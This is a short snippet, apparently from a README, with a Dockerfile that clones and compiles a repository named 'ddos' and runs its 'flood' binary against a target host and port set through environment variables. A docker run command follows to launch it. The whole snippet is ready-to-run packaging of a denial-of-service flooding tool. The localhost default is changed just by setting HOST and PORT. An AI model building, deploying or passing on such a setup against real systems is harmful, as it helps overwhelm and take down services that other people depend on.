create dockerfile

```
FROM gcc:latest

RUN git clone https://github.com/hellojixian/ddos.git --depth=1 \
	&& cd ddos \
	&& make

ENV HOST="127.0.0.1"
ENV PORT="80"

CMD ["/bin/bash", "-c", "/ddos/flood -t $HOST -p $PORT"]
```

docker run --rm -it -e HOST=127.0.0.1 -e PORT=80 ddos